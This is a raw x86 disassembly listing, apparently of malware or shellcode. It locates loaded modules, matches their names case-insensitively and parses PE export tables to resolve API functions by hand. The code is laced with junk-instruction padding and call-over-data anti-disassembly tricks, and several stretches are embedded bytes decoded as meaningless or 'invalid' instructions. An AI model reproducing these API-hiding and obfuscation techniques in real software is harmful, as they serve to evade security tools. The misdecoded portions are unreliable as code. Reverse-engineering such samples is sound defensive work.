movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x1688], edx
jmp 0x40f5b5
movzx ecx, word [ebp - 0x224]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x40f483
movzx eax, word [ebp - 0x224]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x40f483
movzx edx, word [ebp - 0x224]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x40f59f
mov dword [ebp - 0x1684], 0xffffffff
jmp 0x40f5a9
mov dword [ebp - 0x1684], 1
mov ecx, dword [ebp - 0x1684]
mov dword [ebp - 0x1688], ecx
cmp dword [ebp - 0x1688], 0
jne 0x40f5fe
push eax
push edi
add esp, 4
and eax, 0x10092
or eax, 0x32a3
sub eax, 0x9a5e
pop eax
push edi
and edi, 0x14193
and edi, 0x14e51
or edi, 0x16f72
jmp 0x40f5ef
pop edi
mov edx, dword [ebp - 0x51c]
mov dword [ebp - 0x2fc], edx
jmp 0x40f666
push ebx
push ecx
add esp, 4
or ebx, 0x5a30
sub ebx, 0x8a9f
jmp 0x40f615
pop ebx
push esi
and esi, 0xf96d
add esi, 0xa4c5
sub esi, 0x96b1
jmp 0x40f62f
pop esi
mov eax, dword [ebp - 0x51c]
mov ecx, dword [eax]
mov dword [ebp - 0x51c], ecx
mov edx, dword [ebp - 0x51c]
cmp edx, dword [ebp - 0xce0]
je 0x40f65c
mov eax, dword [ebp - 0x51c]
cmp dword [eax + 0x30], 0
jne 0x40f427
mov dword [ebp - 0x2fc], 0
push eax
push edi
add esp, 4
or eax, 0xd10a
sub eax, 0x2377
add eax, 0x3aba
pop eax
push edi
sub edi, 0x8080
xor edi, 0x63cf
pop edi
push edx
push ecx
add esp, 4
sub edx, 0x14bfa
pop edx
mov ecx, dword [ebp - 0x2fc]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x338], edx
push edx
push esi
add esp, 4
sub edx, 0x794b
pop edx
push edx
push ecx
add esp, 4
jmp 0x40f6c0
add edx, 0x17b66
pop edx
push edi
push edx
add esp, 4
xor edi, 0x6e54
sub edi, 0x40ec
pop edi
mov dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x168c], eax
cmp dword [ebp - 0x168c], 0
jne 0x40f709
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x40f9fa
mov edx, dword [ebp - 0x168c]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1690], eax
jne 0x40f731
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x40f9fa
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1690]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1694], edx
cmp dword [ebp - 0x1694], 0
jne 0x40f763
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
jmp 0x40f9fa
mov ecx, dword [ebp - 0x338]
add ecx, dword [ebp - 0x1694]
mov dword [ebp - 0x788], ecx
jne 0x40f788
mov edx, dword [ebp - 0x794]
mov dword [ebp - 0x520], edx
jmp 0x40f9fa
mov eax, dword [ebp - 0x788]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1a28], ecx
mov edx, dword [ebp - 0x788]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1a2c], eax
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1a30], edx
mov dword [ebp - 0x78c], 0
jmp 0x40f7e2
mov eax, dword [ebp - 0x78c]
add eax, 1
mov dword [ebp - 0x78c], eax
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x78c]
cmp edx, dword [ecx + 0x18]
jae 0x40f9ee
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x1a28]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x790], edx
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x1a2c]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1a30]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x1a34], ecx
mov dword [ebp - 0x1a4], 0
jmp 0x40f852
mov edx, dword [ebp - 0x1a4]
add edx, 1
mov dword [ebp - 0x1a4], edx
mov eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
test ecx, ecx
je 0x40f904
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x9d4]
test eax, eax
je 0x40f904
push eax
add eax, 0xe9c0
or eax, 0xf548
and eax, 0xc6b2
pop eax
push esi
push edx
add esp, 4
add esi, 0xedef
and esi, 0x813e
sub esi, 0xa139
and esi, 0x100f0
pop esi
mov ecx, dword [ebp - 0x790]
add ecx, dword [ebp - 0x1a4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a4]
movsx ecx, byte [ebp + eax - 0x9d4]
cmp edx, ecx
je 0x40f8f6
mov edx, dword [ebp - 0x790]
add edx, dword [ebp - 0x1a4]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a4]
movsx edx, byte [ebp + ecx - 0x9d4]
cmp eax, edx
jne 0x40f8fd
jmp 0x40f843
jmp 0x40f904
push edx
push ebx
add esp, 4
and edx, 0xbe7d
call 0x40f91f
add byte [ecx + 0x3e], cl
dec ebx
dec esi
inc esp
aaa
dec ebx
xor al, 0x83
les eax, [eax + ebp*8]
or eax, dword [eax]
add byte [eax], al
add byte [edi + 0x36], cl
dec ebp
inc ebp
inc edi
dec edi
inc ebp
dec ecx
cmp al, 0x40
add esp, 4
pop edx
mov eax, dword [ebp - 0x790]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x9d4]
idiv bh
invalid
cmp ecx, eax
jne 0x40f963
mov dword [ebp - 0xce4], 0
jmp 0x40f9d2
push eax
push edx
add esp, 4
jmp 0x40f970
pop eax
push ecx
or ecx, 0xc02
pop ecx
push eax
sub eax, 0x8d3c
or eax, 0xbf3b
or eax, 0x8acb
jmp 0x40f994
pop eax
mov ecx, dword [ebp - 0x790]
add ecx, dword [ebp - 0x1a4]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1a4]
movsx ecx, byte [ebp + eax - 0x9d4]
or ecx, 0x20
cmp edx, ecx
jge 0x40f9c8
mov dword [ebp - 0xce4], 0xffffffff
jmp 0x40f9d2
mov dword [ebp - 0xce4], 1
cmp dword [ebp - 0xce4], 0
jne 0x40f9e9
mov edx, dword [ebp - 0x1a34]
mov dword [ebp - 0x520], edx
jmp 0x40f9fa
jmp 0x40f7d3
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x520], eax
mov ecx, dword [ebp - 0x520]
mov dword [ebp - 0xabc], ecx
push eax
jmp 0x40fa0d
pop eax
push eax
push edi
add esp, 4
call 0x40fa1f
add byte [ebp + 0x41], al
dec ecx
inc esi
cmp ecx, dword [ecx - 0x7d]
les eax, [ecx + eax*4]
call fcn.004216f9
call 0x40fa34
add byte [ebp + 0x50], al
cmp dword [ecx + 0x4e], ecx
xor eax, dword [ebx - 0x74a7fb3c]
xchg ebp, eax
inc esp
cmc
invalid